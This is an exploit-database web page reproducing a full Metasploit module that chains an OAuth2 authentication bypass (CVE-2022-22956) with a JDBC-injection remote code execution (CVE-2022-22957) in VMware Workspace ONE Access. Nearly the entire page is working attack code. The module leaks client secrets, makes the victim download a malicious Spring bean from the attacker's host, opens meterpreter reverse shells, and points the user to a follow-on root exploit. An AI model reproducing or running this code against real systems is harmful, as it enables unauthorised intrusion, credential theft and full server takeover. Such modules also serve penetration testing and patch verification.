Advertisement






Mware Workspace ONE Remote Code Execution

CVE Category Price Severity
CVE-2022-22956 CWE-78 $30,000 Critical
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-04-18
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.05609 0.74028

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023040061

Below is a copy:

Mware Workspace ONE Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  class InvalidRequest < StandardError
  end

  class InvalidResponse < StandardError
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',
        'Description' => %q{
          This module combines two vulnerabilities in order achieve remote code execution in the context of the
          `horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in
          OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the
          authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC
          injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker
          to deserialize arbitrary Java objects which can allow remote code execution.
        },
        'Author' => [
          'mr_me', # Discovery & PoC
          'jheysel-r7' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2022-22956'],
          ['CVE', '2022-22957'],
          ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
          ['URL', 'https://github.com/sourceincite/hekate/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
        ],
        'DisclosureDate' => '2022-04-06',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => %i[curl wget],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x22"
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'LPORT' => 5555
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  # The VMware products affected do no expose any version information to unauthenticated users.
  # Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were
  # patched in the following VMware update: https://kb.vmware.com/s/article/88099
  def check
    @token = get_authentication_token
    Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')
  rescue InvalidRequest, InvalidResponse => e
    return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
  end

  # Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).
  #
  # Return the authentication token
  def get_authentication_token
    oauth_client = ['Service__OAuth2Client', 'acs'].sample
    res_activation_token = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),
      'method' => 'POST'
    })

    unless res_activation_token
      raise InvalidRequest, 'No response from the server when requesting an activation token'
    end

    unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'
      raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"
    end

    activation_token = res_activation_token.get_json_document['activationToken']

    res_client_info = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'data' => activation_token
    })

    unless res_client_info
      raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'
    end

    unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'
      raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"
    end

    json_client_info = res_client_info.get_json_document
    client_id = json_client_info['client_id']
    client_secret = json_client_info['client_secret']

    print_good("Leaked client_id: #{client_id}")
    print_good("Leaked client_secret: #{client_secret}")
    post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"

    res_access_token = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'data' => post_data
    })

    unless res_access_token
      raise InvalidRequest, 'No response from the server when requesting the access token'
    end

    unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']
      raise InvalidResponse, 'Invalid response from the server when requesting the access token'
    end

    res_access_token.get_json_document['access_token']
  end

  # Serve the files for the target machine to download.
  # If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.
  # If the request doesn't in .xml the victim is requesting the linux dropper payload.
  def on_request_uri(cli, request)
    vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")
    if request.to_s.include?('.xml')
      vprint_status('Sending XML response: ')
      send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })
      vprint_status('Response sent')
    else
      vprint_status('Sending PAYLOAD: ')
      send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })
    end
  end

  # Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim
  #
  # Returns an XML document containing the payload.
  def generate_payload_xml(cmd)
    bean = ''
    builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)
    builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do
      builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do
        builder.constructor do
          builder.list do
            builder.value('/bin/sh')
            builder.value('-c')
            builder.value(cmd)
          end
        end
      end
    end

    bean.gsub!('constructor', 'constructor-arg')
    vprint_status(bean)
    bean
  end

  # Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.
  def trigger_jdbc_rce(jwt, sub_cmd)
    # jdbc_uri  = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"
    jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-urlencoded',
      'Connection' => 'keep-alive',
      'cookie' => "HZN=#{jwt}",
      'data' => jdbc_uri
    })

    fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res
    fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing the following command: #{cmd}")
    @payload_xml = generate_payload_xml(cmd)
    trigger_jdbc_rce(opts[:jwt], cmd)
  end

  # Instruct the user to exploit CVE-2022-22960
  def on_new_session(_client)
    print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')
  end

  def exploit
    unless @token
      begin
        @token = get_authentication_token
      rescue InvalidRequest => e
        fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
      rescue InvalidResponse => e
        fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")
      end
    end

    @payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'
    start_service('Path' => "/#{@payload_name}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded, { jwt: @token })
    when :linux_dropper
      execute_cmdstager({ jwt: @token })
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum